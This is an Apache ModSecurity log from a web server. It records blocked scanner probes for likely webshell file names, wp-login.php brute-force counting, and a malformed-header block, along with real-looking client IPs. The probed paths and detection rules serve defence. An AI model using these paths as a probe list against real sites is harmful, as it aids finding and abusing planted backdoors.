[Mon Feb 23 08:44:39.423731 2026] [:error] [pid 25294:tid 25343] [client 20.151.220.171:7075] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/vxrl.php"] [unique_id "aZui9yRCFB3CqIo_jfZs8AAAAEU"]
[Mon Feb 23 08:44:39.837939 2026] [:error] [pid 39639:tid 39652] [client 20.151.220.171:7131] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/in.php"] [unique_id "aZui9xpFkMoMi8uTUUP_zAAAAkk"]
[Mon Feb 23 08:44:40.259864 2026] [:error] [pid 39540:tid 39574] [client 20.151.220.171:6986] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/in.php"] [unique_id "aZui-Lsgm9aTWhlRScJiEAAAAcU"]
[Mon Feb 23 08:44:40.674073 2026] [:error] [pid 39540:tid 39575] [client 20.151.220.171:6851] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/in.php"] [unique_id "aZui-Lsgm9aTWhlRScJiFgAAAcY"]
[Mon Feb 23 08:44:41.091215 2026] [:error] [pid 25294:tid 25358] [client 20.151.220.171:6928] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/in.php"] [unique_id "aZui-SRCFB3CqIo_jfZs9QAAAEw"]
[Mon Feb 23 08:44:41.518734 2026] [:error] [pid 39504:tid 39515] [client 20.151.220.171:6933] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/style.php"] [unique_id "aZui-XLcHpOlI9gwwJrZbQAAAUk"]
[Mon Feb 23 08:44:41.936467 2026] [:error] [pid 29909:tid 29913] [client 20.151.220.171:7007] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/style.php"] [unique_id "aZui-T9oc2QzltksUk6ovQAAAQI"]
[Mon Feb 23 08:44:42.353348 2026] [:error] [pid 39504:tid 39519] [client 20.151.220.171:6926] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/style.php"] [unique_id "aZui-nLcHpOlI9gwwJrZbwAAAU0"]
[Mon Feb 23 08:44:42.764288 2026] [:error] [pid 25380:tid 25389] [client 20.151.220.171:6917] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/style.php"] [unique_id "aZui-qKrc8yFQ8fy78ocdAAAAMc"]
[Mon Feb 23 08:44:43.176853 2026] [:error] [pid 39540:tid 39582] [client 20.151.220.171:6951] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/we.php"] [unique_id "aZui-7sgm9aTWhlRScJiGQAAAc0"]
[Mon Feb 23 08:44:43.603586 2026] [:error] [pid 25294:tid 25351] [client 20.151.220.171:6897] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/we.php"] [unique_id "aZui-yRCFB3CqIo_jfZtAQAAAEk"]
[Mon Feb 23 08:44:44.018088 2026] [:error] [pid 39640:tid 39685] [client 20.151.220.171:6920] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/we.php"] [unique_id "aZui_NsK--eVCgzvvucjZAAAAo8"]
[Mon Feb 23 08:44:44.442076 2026] [:error] [pid 25380:tid 25390] [client 20.151.220.171:6927] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/we.php"] [unique_id "aZui_KKrc8yFQ8fy78ocgQAAAMg"]
[Mon Feb 23 08:44:44.858932 2026] [:error] [pid 39538:tid 39550] [client 20.151.220.171:6921] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zwso.php"] [unique_id "aZui_C4Zk8-cQOG3ZnoWggAAAYg"]
[Mon Feb 23 08:44:45.268973 2026] [:error] [pid 39640:tid 39672] [client 20.151.220.171:7095] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zwso.php"] [unique_id "aZui_dsK--eVCgzvvucjbgAAAoI"]
[Mon Feb 23 08:44:45.684719 2026] [:error] [pid 39640:tid 39683] [client 20.151.220.171:6922] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zwso.php"] [unique_id "aZui_dsK--eVCgzvvucjdgAAAo0"]
[Mon Feb 23 08:44:46.101155 2026] [:error] [pid 39540:tid 39569] [client 20.151.220.171:7097] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zwso.php"] [unique_id "aZui_rsgm9aTWhlRScJiIwAAAcA"]
[Mon Feb 23 08:44:46.515931 2026] [:error] [pid 39538:tid 39559] [client 20.151.220.171:6943] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/karak.php"] [unique_id "aZui_i4Zk8-cQOG3ZnoWgwAAAZE"]
[Mon Feb 23 08:44:46.934672 2026] [:error] [pid 39504:tid 39520] [client 20.151.220.171:6932] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/karak.php"] [unique_id "aZui_nLcHpOlI9gwwJrZdAAAAU4"]
[Mon Feb 23 08:44:47.355796 2026] [:error] [pid 39538:tid 39565] [client 20.151.220.171:6872] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/karak.php"] [unique_id "aZui_y4Zk8-cQOG3ZnoWiwAAAZc"]
[Mon Feb 23 08:44:47.775400 2026] [:error] [pid 39538:tid 39553] [client 20.151.220.171:7035] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/karak.php"] [unique_id "aZui_y4Zk8-cQOG3ZnoWkgAAAYs"]
[Mon Feb 23 08:44:48.191723 2026] [:error] [pid 39538:tid 39554] [client 20.151.220.171:7014] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/prv8.php"] [unique_id "aZujAC4Zk8-cQOG3ZnoWmAAAAYw"]
[Mon Feb 23 08:44:48.610128 2026] [:error] [pid 39540:tid 39592] [client 20.151.220.171:6962] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/prv8.php"] [unique_id "aZujALsgm9aTWhlRScJiLQAAAdc"]
[Mon Feb 23 08:44:49.026093 2026] [:error] [pid 39540:tid 39569] [client 20.151.220.171:6938] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/prv8.php"] [unique_id "aZujAbsgm9aTWhlRScJiNQAAAcA"]
[Mon Feb 23 08:44:49.446696 2026] [:error] [pid 25380:tid 25386] [client 20.151.220.171:6924] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/prv8.php"] [unique_id "aZujAaKrc8yFQ8fy78ocjAAAAMQ"]
[Mon Feb 23 08:44:49.863451 2026] [:error] [pid 39538:tid 39558] [client 20.151.220.171:7027] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/i.php"] [unique_id "aZujAS4Zk8-cQOG3ZnoWmwAAAZA"]
[Mon Feb 23 08:44:50.287445 2026] [:error] [pid 39639:tid 39661] [client 20.151.220.171:6912] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/i.php"] [unique_id "aZujAhpFkMoMi8uTUUP_0gAAAlI"]
[Mon Feb 23 08:44:50.701882 2026] [:error] [pid 39639:tid 39645] [client 20.151.220.171:6956] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/i.php"] [unique_id "aZujAhpFkMoMi8uTUUP_1QAAAkI"]
[Mon Feb 23 08:44:51.122002 2026] [:error] [pid 39538:tid 39561] [client 20.151.220.171:7096] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/i.php"] [unique_id "aZujAy4Zk8-cQOG3ZnoWnwAAAZM"]
[Mon Feb 23 08:44:51.546787 2026] [:error] [pid 39639:tid 39644] [client 20.151.220.171:6963] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a.php"] [unique_id "aZujAxpFkMoMi8uTUUP_3gAAAkE"]
[Mon Feb 23 08:44:51.960390 2026] [:error] [pid 39640:tid 39672] [client 20.151.220.171:6877] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a.php"] [unique_id "aZujA9sK--eVCgzvvucjewAAAoI"]
[Mon Feb 23 08:44:52.371671 2026] [:error] [pid 39538:tid 39553] [client 20.151.220.171:7117] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a.php"] [unique_id "aZujBC4Zk8-cQOG3ZnoWoQAAAYs"]
[Mon Feb 23 08:44:52.786952 2026] [:error] [pid 39504:tid 39517] [client 20.151.220.171:6964] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a.php"] [unique_id "aZujBHLcHpOlI9gwwJrZfAAAAUs"]
[Mon Feb 23 08:44:53.210091 2026] [:error] [pid 25380:tid 25395] [client 20.151.220.171:6862] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aZujBaKrc8yFQ8fy78oclgAAAM0"]
[Mon Feb 23 08:44:53.633882 2026] [:error] [pid 25380:tid 25396] [client 20.151.220.171:6973] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aZujBaKrc8yFQ8fy78ocmgAAAM4"]
[Mon Feb 23 08:44:54.046574 2026] [:error] [pid 25380:tid 25394] [client 20.151.220.171:7030] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aZujBqKrc8yFQ8fy78ocogAAAMw"]
[Mon Feb 23 08:44:54.462429 2026] [:error] [pid 39504:tid 39530] [client 20.151.220.171:6957] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aZujBnLcHpOlI9gwwJrZggAAAVg"]
[Mon Feb 23 08:44:54.885679 2026] [:error] [pid 25380:tid 25386] [client 20.151.220.171:6785] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aw.php"] [unique_id "aZujBqKrc8yFQ8fy78ocqQAAAMQ"]
[Mon Feb 23 08:44:55.313435 2026] [:error] [pid 25380:tid 25389] [client 20.151.220.171:6850] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aw.php"] [unique_id "aZujB6Krc8yFQ8fy78ocqgAAAMc"]
[Mon Feb 23 08:44:55.723336 2026] [:error] [pid 29909:tid 29919] [client 20.151.220.171:7025] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aw.php"] [unique_id "aZujBz9oc2QzltksUk6owwAAAQg"]
[Mon Feb 23 08:44:56.134200 2026] [:error] [pid 39639:tid 39663] [client 20.151.220.171:7117] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aw.php"] [unique_id "aZujCBpFkMoMi8uTUUP_5wAAAlQ"]
[Mon Feb 23 08:44:56.546632 2026] [:error] [pid 39540:tid 39591] [client 20.151.220.171:6941] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dev.php"] [unique_id "aZujCLsgm9aTWhlRScJiVAAAAdY"]
[Mon Feb 23 08:44:56.957026 2026] [:error] [pid 39639:tid 39667] [client 20.151.220.171:7016] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dev.php"] [unique_id "aZujCBpFkMoMi8uTUUP_6gAAAlg"]
[Mon Feb 23 08:44:57.368332 2026] [:error] [pid 39639:tid 39649] [client 20.151.220.171:6994] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dev.php"] [unique_id "aZujCRpFkMoMi8uTUUP_7gAAAkY"]
[Mon Feb 23 08:44:57.796507 2026] [:error] [pid 39639:tid 39647] [client 20.151.220.171:6999] [client 20.151.220.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dev.php"] [unique_id "aZujCRpFkMoMi8uTUUP_8wAAAkQ"]
[Mon Feb 23 11:37:58.287137 2026] [:error] [pid 39640:tid 39671] [client 159.89.53.77:59477] [client 159.89.53.77] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.89.53.77, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZvLltsK--eVCgzvvudiBQAAAoE"]
[Mon Feb 23 11:38:01.645296 2026] [:error] [pid 39538:tid 39555] [client 159.89.53.77:60198] [client 159.89.53.77] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.89.53.77, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aZvLmS4Zk8-cQOG3ZnowZwAAAY0"]
[Mon Feb 23 13:17:58.507168 2026] [:error] [pid 39504:tid 39528] [client 43.166.244.66:40368] [client 43.166.244.66] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aZvjBnLcHpOlI9gwwJr1YAAAAVY"]
[Mon Feb 23 13:22:52.470971 2026] [:error] [pid 39540:tid 39580] [client 54.38.38.130:36458] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/auto%20slot.aspx"] [unique_id "aZvkLLsgm9aTWhlRScIQVgAAAcs"]
[Mon Feb 23 13:22:54.903683 2026] [:error] [pid 39540:tid 39574] [client 54.38.38.130:58232] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20casino.aspx"] [unique_id "aZvkLrsgm9aTWhlRScIQWQAAAcU"]
[Mon Feb 23 13:22:57.165649 2026] [:error] [pid 25294:tid 25356] [client 54.38.38.130:60494] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20co.aspx"] [unique_id "aZvkMSRCFB3CqIo_jfabQgAAAEs"]
[Mon Feb 23 13:22:59.241676 2026] [:error] [pid 25380:tid 25386] [client 54.38.38.130:60496] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20dc.aspx"] [unique_id "aZvkM6Krc8yFQ8fy78qbBwAAAMQ"]
[Mon Feb 23 13:23:01.160454 2026] [:error] [pid 39538:tid 39552] [client 54.38.38.130:60510] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20original.aspx"] [unique_id "aZvkNS4Zk8-cQOG3Zno9iQAAAYo"]
[Mon Feb 23 13:23:03.159950 2026] [:error] [pid 39540:tid 39589] [client 54.38.38.130:60512] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20slot.aspx"] [unique_id "aZvkN7sgm9aTWhlRScIQZAAAAdQ"]
[Mon Feb 23 13:23:05.091920 2026] [:error] [pid 39538:tid 39543] [client 54.38.38.130:60514] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20thailand.aspx"] [unique_id "aZvkOS4Zk8-cQOG3Zno9jQAAAYE"]
[Mon Feb 23 13:23:07.304143 2026] [:error] [pid 39540:tid 39570] [client 54.38.38.130:45364] [client 54.38.38.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20auto.aspx"] [unique_id "aZvkO7sgm9aTWhlRScIQaQAAAcE"]
